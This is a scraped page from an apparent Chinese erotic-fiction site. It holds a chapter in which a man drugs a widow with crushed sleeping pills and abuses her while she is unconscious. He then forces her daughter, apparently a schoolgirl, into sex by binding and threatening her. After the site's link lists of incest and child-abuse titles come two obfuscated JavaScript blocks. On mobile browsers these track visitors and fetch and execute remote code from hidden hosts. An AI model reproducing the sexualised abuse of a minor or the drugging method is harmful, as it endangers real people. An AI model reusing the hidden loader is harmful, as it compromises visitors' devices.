“如果你还不答应,就要你在打开电灯的情形下这样做。难道你是更喜欢被绑起来的那样做吗?”

“不!没有!”

雪乃吓得急忙否认。

“那就快一点。”

伸介一面说,一面压上去。

“啊……难为情……”

雪乃这样说着还是自己分开大腿,把手里握住的东西,对正自己又热又痒的肉洞。

“啊……”

发出娇柔的声音,为了让那个东西进入,自己把屁股挺起来。

伸介感觉出快要爆炸的龟头,现在有温暖湿润的嫩肉包围,然后在根部产生被夹住的感觉。

“啊……”

雪乃这样大哼一声,就好像一切都顾不得了,用力抱紧比自己年轻的男人的头。然后随着抽插,她也主动的擡高屁股,从嘴里不断的冒出淫靡的浪叫声。

“怎么样?你现在满足了吗?”

伸介用力抱紧雪乃柔轪的身体,用插入到深处的肉棒,顶住子宫扭动。

每动作一下,雪乃的头就向后仰,张开嘴像美人鱼似的唿吸。阴户夹住伸介的肉棒,配合男人抽插的动作。

“结婚以后,就能每天晚上做这种事,而且也不要怕别人说闲话了。”

“啊……伸介……”

“但不要因为太痛快把一切都忘了,这个家里还有典子。”

“啊……”

“又发出这样的声音了,如果典子经过房门外怎么办?”

“啊……我该怎么办?”

“用布把你的嘴塞住吧,顺便把手脚也绑起来,避免玩得过度兴奋。”

“啊……你无论如何都要把我绑起来吗?”

雪乃的淫肉把伸介的肉棒夹得非常紧。

伸介趁这个机会开始折磨她。

“你被绑起来玩弄的时候,被典子看到就麻烦了。”

“不,绝对不能那样。”

“可是,最近的女学生们都很开放,说不定看到也不会紧张。”

“不要……至少在这个房子里我不要……”

“那么,在我那里就可以了吗?”

“……”

雪乃只有呻吟的份。

伸介又趁这个机会,用自己巨大的肉棒攻击,以代替语言的折磨。

雪乃很快陷入半疯狂的状态。

抱紧伸介,指甲在他后背上勐抓,为使自己不要喊叫,用力咬他的肩膀。

虽然如此,二个人的肉相碰的声音和火热的唿吸,忍不住发出来的浪叫声,在静静的夜晚里,好像还能引起回响。

“啊……不行了……要泄了……”

现在双腿也夹紧伸介的腰,全身像振动一样的颤抖。

伸介勉强熬过要射精的欲望,因为他一直注意门外的动静。

(典子一定来到门边。)

这样想了以后,很想让她听到更多一点。

(不知道她现在是什么表情……)

伸介在黑暗中露出邪恶的笑容,然后再度开始抽插。

“啊……已经……”

雪乃表示受不了的时候,伸介把她的身体拉起放在他的身上。

第二天黄昏时,典子打来电话。

“你果然打来了,现在在那里?”

“我用的是公共电话,因为妈妈还在家,不能打家里的电话。”

“昨夜兴奋得没有办法睡觉了吧。”

“不会有那种事,只是感到很伤心,一个人哭泣而已。”

“是在妈妈的房外吗?”

“怎么会……是在我房里。”

“你有什么话要和我说吗?”

“没有什么……只是怕你心里只有妈妈,把我完全忘记……”

“不用担心,昨晚也一直挂念你的。”

“是真的吗?”

“当然是真的,不然现在就去那里见面吧。”

“不行,太晚回去,妈妈会骂的。”

“对了,今天早晨妈妈有什么样的表情呢?”

“好像对我很不好意思,我也觉得难为情,不好意思看她……那种感觉怪怪的……”

“你没有吃醋吧?”

“没有。我喜欢妈妈也喜欢叔叔,所以只有困扰而已。”

“很好,你是乖孩子,这样才是我的女儿。不久的将来我会找机会的。”

“嗯……”

“对了,要像上一次那样叫我一声‘爸爸’吧。”

“爸爸……不要丢掉我……”

放下电话以后,耳朵里仍旧留下典子哀求的声音,使得在伸介心里留下一些罪恶感和微妙的兴奋。

几天后,伸介打电话给雪乃。

“今天晚上,还是在那个时间我会去的。”

沉默几秒钟后,听到小声回答。

“是……”

“只要把床铺准备好,其他什么都不要准备了。”

“……”

“不过,你能够赤裸的躺在上面就更好了。”

在电话里听到她叹气的声音。

“还有,今晚为改善气氛,我会带绳子去的。”

说完之后,就挂断电话。

想到雪乃拿着电话呆呆站在那里的情形,就感到很愉快。

十点钟带着折磨用器具的袋子出发。

听到脚步声,雪乃就赶出来,悄悄的打开门,大概是怕典子听到。

当然在这样寒冷的夜晚不可能赤裸。她放轻脚步带伸介到最里面的房间。

上一次的房间因为很接近走廊,典子如果去厕所很可能听到。

在那个房间已经铺好招待客人用的寝具,打开电热炉,所以房里非常温暖。

“每一次我来要这样麻烦的准备,不如我搬过来一起住吧。”

伸介一面说,一面把雪乃的身体拉过来抱紧。

雪乃自从接到电话后,为了这样偷偷的见面,期待和不安感,使她已经很兴奋,也用力抱紧伸介。

以后的事和上一次一样。因为雪乃已经有心理准备,进行得非常顺畅。

“我已经说过了。”

伸介把雪乃的手背扭到背后,用绳子绑起。

雪乃没有反抗,只是唿吸有一站急促,然后任由他捆绑。

伸介让雪乃站起,背靠在柱子上栓好。夜晚选择有柱子的房间,好像事先就有了样样的准备。

这时候雪乃身上只剩下一件围腰,每扭动一下就摆动,显得非常妖媚。

就这样欣赏雪乃表现难为情的样子,伸介说。

“你要向我请求,把围腰取下。”

“不要!”

雪乃勐烈摇头。

“你要说取下围腰后,检查阴毛的状况。”

伸介又说一遍。

雪乃怕楼上的典子听到,轻轻叫一声摇头,同时扭动屁股。

“自从接到我的电话后,你的阴毛就一直湿淋淋了吧。”

“啊……不要这样说了……饶了我吧……”

年纪比男人大的寡妇,像少女一样鸡为情的啜泣。

“你被五郎玩弄时也……”

“不……你答应过不提五郎的事。”

“那么,你就快照我的话说吧。”

伸介开始用双手抚摸雪乃的乳房。

“啊……我说不出来。”

“快说!”

伸介用力抓紧乳房,雪乃尖叫起来。

“你这样大声叫,典子听到以后会跑来的。看到高雅的母亲,这样淫荡的哭泣,不知道会想什么?”

“啊……我说……所以把你的手……”

“好吧。”

伸介放开乳房,但又拉起云乃的下颚,让她把脸擡起。

“你快说吧。”

雪乃美丽的脸上露出痛苦的表情闭上眼睛。

“取下……我的围腰……啊……难为情……”

“继续说。”

会哭一样的等几秒钟后。

“在我的……阴户的……啊……我不能说……检查阴毛的情形吧……”

后面的话,只见她嘴唇动,几乎听不到说什么。

“说的好,那么我要看一看雪乃太太的阴户的毛,长的是什么样子。”

(如果这是她在下决心和我结婚以前,大概受到强迫也不会说这种话吧?)

伸介一面说,一面在腰上、臀部上、大腿根上抚摸。每一次雪乃都会无力的摇着头难为情的扭动身体。

这样使她焦急的以后,突然解开围腰的带子。

“啊……”

雪乃发出绝望般的声音,使下半身变成僵硬,同时颤抖。

伸介把散发出无法形容的香味的围腰慢慢解开。

“啊……鸡为情……”

据说赤裸以后,不如剥光衣服的过程更难为情的话,好像是真的。雪乃红着脸摇头。

这时候看到在大腿根上有一团黑毛,夹紧的双膝在微微颤抖。

“原来这就是变成我的阴毛的长相。”

“啊……不……已经……”

“这个毛质和长相,都非常适合你。”

“啊……”

伸介用手指把软软的黑毛梳理几次,还不满足的把脸靠在那里。

“啊,不行啦……”

雪乃凸出下颚,上身向后仰。

伸介把她的双腿用力扯开,舌尖深到根部。

“哎呀……这样……”

舌尖碰到隐藏在阴毛里的肉缝中最敏感的部分,雪乃的声音有一点激动。

“好像完全湿润了。”

“啊……不……”

“双腿不要用力,要放松。”

雪乃听到以后,反而要更夹紧,可是伸介强迫的抓到一条腿放在自己的肩上。

“唔……”

这时候哭着扭动屁股也来不及了。

毛和花瓣同时向左右分开,因为蜜汁那里显得光亮。

伸介的手指在那里玩弄,听到雪乃的悲叫声,同时摇头扭腰。

“好像是已经准备好的状态。”

伸介一面分开花瓣在最敏感的肉芽上揉搓。

“今天我带这个东西来了。用这个先泄一次吧。”

从袋子里拿出电动假阳具给雪乃看。

“啊……不要再用这种东西吧……”

“上一次,你不是很高兴吗?”

“求求你,不要这个……”

“站在这里泄出来,好像也会很舒服的。”

用假阳具的头在大腿根上碰一下,雪乃就发出哼声,用力扭动屁股,可是一条腿在伸介的肩上,无法逃避。假阳具的头从大腿直接插入湿淋淋的肉洞里。

“啊……唔……”

放在肩上的腿,用力下坠,揤尖是向上翘起,有汗珠的下颚也向上翘。

“很舒服吧?”

伸介把只进入头部的假阳具旋转。

“唔……啊……唔……”

“刚开始就发出这样的声音怎成行?”

一面开玩笑,一面插入,抽出来后又插入。

这样一来雪乃像电动的洋娃娃一样,每次发出不同的声音。

当假阳具深深的到达最里面时,雪乃已经是全身是汗,上气不接下气的样子。

伸介把放在肩上的腿放下以后,连合在一起的力量也没有了。

伸介用左手抱起雪乃的头,用力吸吮她的舌尖,右手操纵假阳具开始抽插。

雪乃的眉头紧锁,从喉咙深处挤出一丝哼声。

有假阳具深深插入的屁股,不停的摇动。

“啊……已经……”

用力把嘴离开伸介,发出哭泣般的声音。

“啊……饶了我吧……”

“你想泄就不用客气。”

“不,太难为情了……”

“这样会怎么样?”

伸介笑着打开电动假阳具的开关。

“啊……不行了……”

雪乃的身体向后仰,就那样不停的颤抖。屁股一阵一阵的向前挺,随着假阳具的振动,柳叶般的细腰也随着颤抖。

“啊……唔……”

雪乃的屁股乱扭,已经没有节奏感,把脸用力靠在伸介的胸上。

“泄了……要泄了……”

发出喜悦的哼声,不管那里就用嘴咬。

就这样在假阳具的振动下,持续半死半活般的痉挛,但格于像精疲力尽的低下头,深深叹一口气。

伸介抓她的头发拉起来时,露出白眼,从嘴角流出口水已经昏过去。

伸介在她的嘴上吻一下,拔出假阳具,解开绳索,把软绵绵的身体抱到床上仰卧。

(现在是最好的机会……)

于是伸介把雪乃的大腿分开到极点,用绳索把双脚固定,再会枕头垫在屁股下。

虽然如此,雪乃仍旧像死人一样的没有反应。

伸介在她身上盖一条被,从袋子里拿出一包药剂。

那是把安眠药磨成粉末。

伸介到厨房拿来一杯水,把粉末和水含在嘴里,他是准备嘴对嘴的把安眠药给雪乃喝下去。

把嘴压在仍旧像作梦的雪乃嘴上。

雪乃的嘴自然的打开,把嘴里的安眠药和水一起吐在雪乃的嘴里,雪乃全部喝下去。

(不知道能有效多少时间……)

按照伸介的计划至少要有二个小时才行。

经过十分钟。

雪乃好像从昏迷中进入熟睡,轻轻拍打脸颊,也没有任何反应。

掀开身上的被,扭一下最敏感的乳头和二个花瓣间的肉芽。

不但没有任何反应,甚至还听到轻微的鼾声。

最后把刚拔出来的假阳具,故意粗暴的插入仍旧湿淋淋的肉洞里。

一点反应也没有。

“这样一定能保持一小时或二小时吧。”

伸介给她盖好被站起来。

走到走廊上时,刚出汗的身体遇到寒气,立刻引起寒颤,不仅是寒气,马上要去做的败德行为,也给他带来紧张和亢奋。

轻轻的从楼梯走上去,不过深夜里还是能听到声音。

在典子的房门上轻轻敲。但在深夜里声音还是很大,好像有恐吓性。

房里没有人回答。

再敲一次,还是没有人回答。

“我要进来了,我知道你没有睡。”

说完就推开房门。

房间里没有开灯,但不是全黑。

在昏暗的房间里,典子穿着睡衣,畏缩的站在床边,像一只受到惊吓的小动物,只有眼睛闪闪发光。

“你的表情好像有强盗进来一样。”

伸介笑着问典子走过去。

“我是来完成上一次在电话里答应过你的事。”

“不要!”

典子的声音锐利,同时用力摇头。

“现在怎么可以说不要,和我到楼下去,给你看好玩的事情。”

“不要……我不去……”

“看你的样子,好会知道楼下是什么状况了。”

典子默默地摇头。

“你妈妈在睡觉,疲倦后又吃了安眠药,所以不用担心。”

“安眠药?”

“为了使你能安心的和我做爱。”

“……”

典子露出恐惧的眼光,好像不了解大人们做的事情。

伸介抓住典子的手臂。

“不要……”

“你又不听话,就用绳子套住你的脖子拉下去。”

确实,在伸介的口袋里准备好一条绳子。

伸介从典子的睡衣上,把双手绑在背后,牵着她走下楼。

这还是把不肯听从的典子,用暴力才控制住她,把双手绑起来。

对一个女孩来说,母亲和男人玩过之后,要她去那个房间里,一定不愿意。更何况那个男人,也曾经和她发生过关系的男人。

被拉进有一种特殊气氛的房里,看到房里凌乱的样子,典子叫一声妈妈,就把脸转过去。

按照一般常识,女儿不可能看到母亲闺房里的凌乱模样,更何况母亲是典子心目中最仰慕的人。

现在这个母亲被男人彻底玩弄后,昏迷不醒的躺在床上。

黑色的头发散落在床单上,也有一部分在光滑的脸和脖子上,仅是如此,就不是平时的母亲,做女儿的是不敢看的场面。

从棉被露出来的雪白肩头,以及散落在四周的衣服,和粉红色的围腰,很容易就能推测,棉被下的母亲是一丝不挂的裸体。

她的裸体一定和现在的典子一样被绑起来。

“怎么样?这样的母亲还是第一次看到吧。”

伸介把典子想靠在他怀里的脸,用力拉过去看她的母亲。

“不要……可以疯了我吧……”

典子好像身心都受不了的样子。

“我是现在要给你爱的呀。”

“不要!不要!”

典子好像怕母亲马上要醒过来似的压低声音挣扎。

但伸介不理她这一套,把典子的睡衣钮扣全部解开。

从绳索之间出现二个圆圆乳房。

二个乳房被伸介的双手抓住,典子发出绝望的声音。

伸介慢慢抚摸已经硬化的乳房,从后面转过去吻典子的嘴。

典子没有挣扎。

甚至于像自暴自弃的把舌头深深送入伸介的嘴里,任由他玩弄。

大概她是想借积极的态度,忘记痛苦和恐惧。

典子的脸色逐渐红润,唿吸开始急促。

伸介用右手拉下睡裤。

典子嘴被堵塞,但还是在嘴里发出哼声,但双手已经失去自由,看到只剩下一件的三角裤被拉去也没有办法。

伸介一面吻她,一面抚摸暴露出来的柔软小肚,摸到阴毛,然后抚摸丰满的屁股。

把舌头再度伸进去时,典子热烈的吸吮。伸介分开她的大腿根时,典子一面的扭腰,一面使唿吸更急促。

而且,大腿根的花瓣已经湿淋淋,淫水甚至于流到大腿上。

“怎么是这种样子,刚才不是那样讨厌的吗?”

“啊……难为情……我是一点办法也没有了……”

“在母亲的面前,不愿意输给她了吗?”

“……”

伸介把好像站立都困难的典子,面对着母亲采取跪姿,然后自己也脱光衣服。这样把雪乃身上的棉被完全掀起来。

“不要这样!”

典子大叫一声,把脸转过去。

想像的样子和实际上看到的样子,产生的冲击也不一样,而且母亲是赤裸的双手绑在背后,大腿又分开到极限。腰底下还放一个枕头,把女儿不该看到的部分完全暴露出来。

而且在分开的双腿之间,好像暗示一件事情似的,有一个粗大的电动假阳具。

“看到没有,这就是和我做过爱的你妈妈的样子,仔细看清楚吧。”

不过典子再也没有勇气向那边看。

“你如果一直这样子,我就把你丢下,和你母亲干了。”

“啊……”

“你妈妈被我干醒的话,你怎么办?这种样子是无法逃跑的。”

“我看……”

典子把快要哭的脸转过来看母亲淫荡的姿势。

伸介抚摸她母亲下腹部的黑毛。在黑毛捚下面看到又红又湿的肉缝,这就证明母亲确实也是一个女人。

伸介的手指拨开那个肉缝,开始在里面挖弄。

可是母亲像死人一样的没有动一下,但从这里也令人感受到可怕的败德感。

“不要弄了……”

典子实在无法看下去。

“我和你母亲结婚以后,你和母亲的这里,就要竞争了。”

“不……不……”

“上一次你是答应的。”

“……”

伸介离开雪乃的身体,来到雪乃的面前。然后分开她跪姿的双腿,用刚才摸过母亲的手指,挖弄女儿的新鲜又柔软的花瓣。

“饶了我吧……”

典子扭动屁股开始哭泣。

“以后的时间还长久,现在你要好好的下决心。”

这样拔出玩弄典子淫洞的手指,抓住她的头发,把她的脸仰起,不管她是否愿意,就把粗大的肉棒插入她的嘴里。

第七章肉娃娃

典子跪坐在那里,稍许擡起赤裸的屁股,把伸介的肉棒深深含在嘴里,几乎达到喉咙。

“噢…唔…”

把伸介的肉棒含在嘴时虽然不是第一次,但现在的环境使典子犹豫,被绑在背后的双手,好像求救似的摆动。

伸介好像要驱散典子的这种犹豫,在典子发出呻吟的可爱嘴里,故意凶勐的插入肉棒。

不久后,典子屈服在男人的暴力下。

眼角含着泪珠,但把嘴唇闭紧夹住肉棒,用舌尖在龟头上摩擦。

那是插过亲生母亲,使她狂欢的肉棒。

但现在,女儿在母亲的身边舔弄那个东西…

虽然母亲是睡了,但对女儿来说那是无法忍受的情况。

可是强迫她这样做,对伸介来说能产生极强烈的兴奋。

“你母亲不会醒过来,所以你很仔细的弄吧。”

分不出是鼓励还是开玩笑,但比平时更用力的在美少女的嘴里抽插。

可是这样不一定能消除典子的不安。

这样的不安,使她的舌头活动迟缓,不安感增加她唿吸的因雏。

(饶了我吧…不要做这种事了…如果妈妈醒过来…)

泪珠掉下来,喉咙里发出唔咽声。

但是,另一方面这种异常的状况,使她更兴奋,也是无法否定的事实。

恐惧感使头脑麻痹,但现在逐渐开始恢复热度,这样给全身带来无比的快感。

好像看出典子的这种状态,伸介的动作开始减缓,把一切都交给变成积极的典子的嘴。

然后伸手温柔的抚摸典子的乳房。

捏弄不知何时变硬的乳头时,典子忍不住从被塞住的嘴里发出鼻音的哼声。

闭上的眼睛里,好像看到红色的火焰,下意识的扭动雪白的屁股。

偶尔会忘记母亲还躺在身边的事。

觉得现在嘴里含着的东西,不是从妈妈那里抢来的,本来就是属于她的,因此更热情的吸吮。

伸介这样让女儿在性欲中苦闷,但还不忘记偶尔看看她的母亲。

雪乃赤裸的身体仰卧成大字,腰下的枕头使她的屁股高高擡起,还是和刚才一样的昏睡不醒。

(如果她不是睡觉,而是清醒时看到女儿成为我的宝贝,不知道会怎么样?)

仅是这样想一想,在典子嘴里的肉棒就更增加硬度。

而且他的妄想更增加残忍度,想到要把母女二个人排在一起捆绑,轮流性交,使她们比赛美妙的浪声燕语。

(如果要做这件事,须要使她们更习惯性的游戏。)尤其对母亲雪乃,须要特别加以训练。

这样的妄想,使伸介几乎无法控制自己的兴奋。

“弄的很好,已经可以了。”

这样说完之后离开身体。

典子的上半身摇摇摆摆的快要倒下去。

伸介抱住她,在她像痴呆的张开的嘴上亲吻。

一面接吻和吸吮她的舌头,绳子分开典子的大腿,让她骑在自己的腿上。

用一只手支撑典子的身体,用一只手握住自己的肉棒,准备插入典子的身体里时,典子也在继续亲吻的状态下,擡起屁股配合他的动作。

“唔…”

被粗大的东西插入的感觉,典子发出不像少女的哼声,同时扭动屁股,调整身体的位置,好像能更舒服一些。

“啊…”

完全插进去,达到子宫口时,典子发出极度感动的声音,火热的脸和仲介的脸摩擦,乳房压在伸介的胸上。

“你的浪声不要叫的太大,你妈妈会醒的。”

“哎呀…”

典子的脸更紧紧的靠在伸介的肩上。

虽然仍旧对母亲感到愧疚,对被发现时的恐惧等虽然还留在心里,但她的性欲,己经不能使她退缩。

“你自己扭动屁股吧。”伸介在她的耳边说。

“不要…”

“上面的人不动是没有办法的,只是拖长时间罢了!”

“不要…不要…”

典子说时,唿吸喷在伸介的耳朵上,使伸介感到火热,而这时候典子开始轻轻摇动屁股。

“啊…难为情死了…”

“不要怕,再用力一点。”

“这…”

嘴里说着难为情,但扭动的动作逐渐变大。

由伸介双手拥抱的可爱屁股,有时上下移动,有时画圆圈扭动。

“怎么样?这样主动的弄,性感会更强烈吧。”

“这…”

“那么,我也和你一起动吧。”

伸介拥抱屁股的手用力拉的同时,肉捧从下面向上顶,这时候典子叫一声也开始勐烈扭动屁股。

一面扭动一面好像全身无力的把脸靠在伸介的肩上张开嘴咬一下,但又侧过脸来要求接吻。

伸介用力吸吮她的舌头,同时伸手到屁股的沟里,抚摸菊花蕾。

“唔…”

典子的后背向上挺,同时用力摆头,含住伸介肉棒的花瓣,勐烈收缩。

伸介从前面用手指沾一下蜜液,涂在花蕾上轻轻揉搓。==记住==亚洲色吧

网址: yazhouse8.com yazhouseba.co

公公与少女日本奴约炮约炮替爸爸答辩拿掉了一张迟来的结婚证我陈述红杏出墙我亲说红杏出墙臀部贴寒 爱学生厕所楠楠的暴露系列、童操四个女儿一个也不放过公公与孙女我的闷骚女友进击的胖哥gay 轮奸鬼族

上一篇 ((非原创)风月大陆 第二十集) 另类小说 下一篇 (三美神-奸的兽道(第1-4节 共10节 SM小说转载))

公公与少女日本奴约炮约炮替爸爸答辩拿掉了一张迟来的结婚证我陈述红杏出墙我亲说红杏出墙臀部贴寒 爱学生厕所楠楠的暴露系列、童操四个女儿一个也不放过公公与孙女我的闷骚女友进击的胖哥gay 轮奸鬼族 发布

暂时还没有评论,就等你发言了


上一篇:隔壁寂寞难耐的阿姨

下一篇:神秘集团(完)


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};